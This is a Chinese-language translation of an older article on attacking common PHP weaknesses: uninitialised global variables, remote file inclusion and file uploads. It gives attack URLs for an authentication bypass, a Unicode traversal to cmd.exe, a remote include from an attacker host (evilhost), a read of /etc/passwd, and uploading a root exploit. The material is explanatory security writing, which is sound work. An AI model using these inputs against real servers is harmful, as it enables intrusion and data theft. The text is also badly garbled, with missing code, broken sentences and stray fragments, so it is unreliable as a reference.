首頁 >後端開發 >php教程 >如何對PHP程式中的常見漏洞進行攻擊(上)第1/2頁_PHP教學

如何對PHP程式中的常見漏洞進行攻擊(上)第1/2頁_PHP教學

WBOY
WBOY原創
2016-07-21 15:59:27790瀏覽

之所以翻譯這篇文章,是因為目前關於CGI安全性的文章都是拿Perl當例子,而專門介紹ASP,PHP或JSP安全性的文章則很少。 Shaun Clowes的這篇文章比較全面地介紹了PHP的安全問題,原文可以在http: //www.securereality.com.au/studyinscarlet.txt找到。 

由於原文比較長,而且有相當一部分是介紹文章的背景或PHP的基礎知識,沒有涉及到PHP安全方面的內容,因此我沒有翻譯。如果你想了解這方面的知識,請參考原文。

文章主要從全局變量,遠端文件,文件上載,庫文件,Session文件,數據類型和容易出錯的函數這幾個方面分析了PHP的安全性,並且對如何增強PHP的安全性提出了一些有用的建議。 

好了,廢話少說,我們言歸正傳! 

[全域變數] 
PHP 中的變數不需要事先聲明,它們會在第一次使用時自動創建,它們的類型也不需要指定,它們會根據上下文環境自動決定。從程式設計師的角度來看,這無疑是一種極為 方便的處理方法。很顯然,這也是快速開發語言的一個很有用的特點。一旦一個變數被創建了,就可以在程式中的任何地方使用。這個特點導致的結果就是程式設計師很 少初始化變量,畢竟,當它們第一次創建時,他們是空的。

很顯然,基於PHP的應用程式的主函數一般都是接受使用者的輸入(主要是表單變量,上載檔案和Cookie等),然後對輸入資料進行處理,然後把結果回到客戶端瀏覽器。為了讓PHP程式碼存取使用者的輸入盡可能容易,實際上PHP就是把這些輸入資料看作全域變數來處理的。

例如: 

 
 
 
 
 

很 顯然,這會顯示一個文字方塊和提交按鈕。當使用者點選提交按鈕時,「test.php」會處理使用者的輸入,當「test.php」運作時,「$hello」會 包含使用者在文字方塊輸入的資料。從這裡我們應該看出,攻擊者可以依照自己的意願創建任意的全域變數。如果攻擊者不是透過表單輸入來呼叫 “test.php”,而是直接在瀏覽器網址列輸入http://server/test.php?hello=hi&setup=no,那麼, 不只“$hello”被創建,「$setup」也被創建了。 

譯者註:這兩種方法也就是我們通常說的「POST」和「GET」方法。
下面的使用者認證程式碼揭露了PHP的全域變數所導致的安全性問題: 

if ($pass == "hello") 
$auth = 1;
... 
if ($auth == 1) 
echo "some important information"; 
?> 

上面的程式碼是否先檢查使用者的密碼是否為「每個使用者的程式碼”,如果符合的話,則設定“$auth”為“1”,即通過認證。之後如果「$suth」為「1」的話,就會顯示一些重要資訊。

表 面看起來是正確的,而且我們中有相當一部分人是這樣做的,但是這段程式碼犯了想當然的錯誤,它假定「$auth」在沒有設定值的時候是空的,卻沒有想到攻擊 者可以創建任何全域變數並賦值,透過類似「http://server/test.php?auth=1」的方法,我們完全可以欺騙這段程式碼,使它相信我 們是已經認證過的。 

因此,為了提高PHP程序的安全性,我們不能相信任何沒有明確定義的變數。如果程式中的變數很多的話,這可是一項非常艱鉅的任務。 

一種常用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變量,這依賴於我們的提交方式(GET或POST)。當PHP配置為開啟「track_vars」選項的話(這是預設值),使用者提交的變數就可以在全域變數和上述的陣列中取得。 

但 是值得說明的是,PHP有四個不同的陣列變數用來處理使用者的輸入。 HTTP_GET_VARS數組用來處理GET方式提交的變量, HTTP_POST_VARS數組用於處理POST方式提交的變量,HTTP_COOKIE_VARS數組用於處理作為cookie頭提交的變量,而對於 HTTP_POST_FILES數組(比較新的PHP才提供),則完全是才提供)使用者用來提交變數的一種可選方式。使用者的一個請求可以很容易的把變數存在這四個數 群組中,因此一個安全的PHP程式應該要檢查這四個陣列。 

[遠端檔案]  PHP是一種具有豐富特性的語言,提供了大量的函數,讓程式設計者實現某個功能很容易。但從安全的角度來看,功能越多,要確保它的安全性就越難,遠端文件就是說明這個問題的一個很好的例子: 

if (! ($fd = fopen("$filename", "r")) 
echo("Could not open file: $filename
 "); 
?> 

上麵的腳本試圖開啟檔案“$filename”,如果失敗就顯示錯誤訊息。的特性,那就是它可以從任何其它WEB或FTP站點讀取文件。 「$filename」為「http://target/scripts/..� ../winnt/system32/cmd.exe?/c dir」 
則上面的程式碼其實是利用主機target上的unicode漏洞,執行了dir命令。的內容,並且把它們按照PHP程式碼解釋,主要用在函式庫文件上。 🎜>?> 

上 例中「$libdir」一般是一個在執行程式碼前已經設定好的路徑,如果攻擊者能夠使得「$libdir」沒有被設定的話,那麼他就可以改變這個路徑。支持,攻擊者就可以做任何事情。 /etc"); 
?> 

然後把“$libdir”設定為“http:///”,這樣我們就可以在目標主機上執行上面的攻擊代碼,“ /etc」目錄的內容會作為結果返回客戶的瀏覽器。

要注意的是,攻擊伺服器(也就是evilhost)應該不能執行PHP程式碼,否則攻擊程式碼會在攻擊伺服器,而不是目標伺服器執行,如果你想了解具體的技術細節,請參考: http://www.securereality.com.au/sradv00006.txt 

[檔案上載] 
PHP自動支援基於RFC 1867的檔案上載,我們看下面的範例: 


 
 
 
 
 

上 面的程式碼讓使用者從本地機器選擇一個文件,當點擊提交後,文件就會被點擊提交後,文件就會被點擊上載到伺服器。這顯然很有用的功能,但是PHP的反應方式使這項功能變的不安全。當 PHP第一次接到這個要求,甚至在它開始解析被呼叫的PHP程式碼之前,它會先接受遠端使用者的文件,檢查文件的長度是否超過「$MAX_FILE_SIZE variable」定義的值,如果透過這些測試的話,檔案就會被存在本地的一個暫存目錄中。 

因此,攻擊者可以傳送任意檔案給執行PHP的主機,在PHP程式還沒決定是否接受檔案上載時,檔案已經被存在伺服器上了。 

這裡我就不討論利用檔案上載來對伺服器進行DOS攻擊的可能性了。

讓 我們考慮一下處理文件上載的PHP程序,正如我們上面所說的,文件被接收並且存在伺服器上(位置是在配置文件中指定的,一般是/tmp),擴展名一般是隨機 的,類似「phpxXuoXG」的形式。 PHP程式需要上載文件的資訊以便處理它,這可以透過兩種方式,一種方式是在PHP 3中已經使用的,另一種是在我們對先前的方法提出安全公告後引入的。 

但是,我們可以肯定的說,問題還是存在的,大多數PHP程式還是用舊的方式來處理上載檔案。PHP設定了四個全域變數來描述上載文件,比如說上面的例子: 

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG") file (e.g 1024) 
$hello_name = The original name of the file on the remote system (e.g .g "text/plain")

然後PHP程式開始處理根據「$hello」指定的文件,問題在於「$hello」不一定是一個PHP設定的變量,任何遠端使用者都可以指定它。如果我們使用下面的方式: 

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt 


就導致了下面的PHP全域變數(當然POST方式也可以(甚至是Cookie)): 

$hello = "/etc/passwd" 
$hello_size = 10240 
$hello_type/po" 🎜>$hello_name = "hello.txt" 

上面的表單資料正好滿足了PHP程式所期望的變量,但是這時PHP程式不再處理上載的文件,而是處理「/etc/passwd 」(通常會導致內容暴露)。這種攻擊可以用於暴露任何敏感文件的內容。

我 在前面已經說了,新版的PHP使用HTTP_POST_FILES[]來決定上載文件,同時也提供了很多函數來解決這個問題,例如有一個函數用來判斷某 個文件是否實際上載的文件。這些函數很好的解決了這個問題,但是實際上肯定有很多PHP程式仍然使用舊的方法,很容易受到這種攻擊。

作為文件上載的攻擊方法的一個變種,我們來看看下面的一段程式碼: 

if (file_exists($theme)) // Checks the (file_exists($theme)) // Checks the on the local system (no remote files) 
include("$theme"); 
?> 

如 果theme」來讀取遠端系統上的任何檔案。攻擊者的最終目標是在遠端伺服器上執行任意指令, 但是他無法使用遠端文件,因此,他必須得在遠端伺服器上建立一個PHP檔案。這乍看看起來好像是不可能的,但是文件上載幫了我們這個忙,如果攻擊者先在本地 機器上創建一個包含PHP代碼的文件,然後創建一個包含名為“theme”的文件域的表單,最後用這個表單透過文件上載把創建的包含PHP程式碼的文件提交 給上面的程式碼,PHP就會把攻擊者提交的文件保存起來,並把「$theme」的值設定為攻擊者提交的文件,這樣file_exists()函數會檢查通 過,攻擊者的程式碼也會執行。 

取得執行任意指令的能力之後,攻擊者顯然想提升權限或是擴大戰果,而這又需要一些伺服器上沒有的工具 集,而文件上載又一次幫了我們這個忙。攻擊者可以使用檔案上載功能上載工具,把她們存在伺服器上,然後利用他們執行指令的能力,使用chmod()改變文字 件的權限,然後執行。例如:攻擊者可以繞過防火牆或IDS載一個本機root攻擊程序,然後執行,這樣就獲得了root權限。

http://www.bkjia.com/PHPjc/317393.html

truehttp: //www.bkjia.com/PHPjc/317393.htmlTechArticle之所以翻譯這篇文章,是因為目前關於CGI安全性的文章都是拿Perl作為例子,而專門介紹ASP,PHP或JSP安全性的文章則很少。 ShaunClowes的這篇...
陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn